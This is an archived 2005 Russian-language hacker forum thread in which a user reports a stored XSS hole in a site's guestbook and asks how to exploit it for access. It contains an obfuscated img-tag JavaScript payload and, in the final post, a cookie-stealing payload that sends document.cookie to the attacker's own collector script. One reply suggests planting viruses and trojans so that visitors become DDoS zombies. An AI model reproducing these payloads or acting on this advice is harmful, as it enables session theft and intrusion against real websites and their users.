Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Помощь нужна!

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [В Сети] >> Помощь нужна!
Имя
Сообщение << Старые топики   Новые топики >>
Помощь нужна! - 2005-04-18 22:41:53   
_S_P_A_

Сообщений: 200
Оценки: 0
Присоединился: 2005-04-06 00:21:36
<img src=ЯваСкрыптЪ:а1егt("Привет!")>

Ну вот, эта сторока на одном сайте, пропускает все символы, и вадаёт месаг.

Вопрос!
Можноли получить доступ к сайту через этот баг?
На сайте есть подержка PHP,иож както можно вместо javaSсгiрt, PHP скрипт вклинить [sm=9.gif]

Короче подскажите кто чем может [:pray:]
Post #: 1
Помощь нужна! - 2005-04-18 23:47:04   
jEnizix

Сообщений: 1797
Оценки: 0
Присоединился: 2004-12-30 11:03:50
нет но можно заюзать XSS вроде…
Post #: 2
Помощь нужна! - 2005-04-19 01:20:15   
c-e-n-s-o-r-e-d

Сообщений: 59
Оценки: 0
Присоединился: 2005-02-16 04:21:40
а что в кукисах передается?
Post #: 3
Помощь нужна! - 2005-04-19 18:31:50   
_S_P_A_

Сообщений: 200
Оценки: 0
Присоединился: 2005-04-06 00:21:36
Подробней, чо как где делать!!!
Post #: 4
Помощь нужна! - 2005-04-19 20:41:54   
_S_P_A_

Сообщений: 200
Оценки: 0
Присоединился: 2005-04-06 00:21:36
quote:

—————-<BR>Цитата: Дата:19.04.2005 1:20:15, Автор:c-e-n-s-o-r-e-d ::
а что в кукисах передается?
—————-



Нечего!
Это в гостевухе я такой баг нарыл!!!
Post #: 5
Помощь нужна! - 2005-04-20 04:40:42   
c-e-n-s-o-r-e-d

Сообщений: 59
Оценки: 0
Присоединился: 2005-02-16 04:21:40
Я тоже нарыл в гесте, разместе вирь и троянь их, будут роль зомбиков выполнять для ДДОСА.
Post #: 6
Помощь нужна! - 2005-04-22 23:21:19   
_S_P_A_

Сообщений: 200
Оценки: 0
Присоединился: 2005-04-06 00:21:36
<img src=ЯваСкрыптЪ:dосиmеnt.imаgеs[0].scr="Mt_sait/sent.php?"+dосиmеnt.cookie>
Но на мыло не чо не приходит, в send.php всё нормально.
Причом не приходит даже в полевых условиях.
ПОМОГИТЕ СОВЕТОМ, мож чо не так накалякал [sm=em62.gif]
Post #: 7
Страниц:  [1]
Все форумы >> [В Сети] >> Помощь нужна!







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.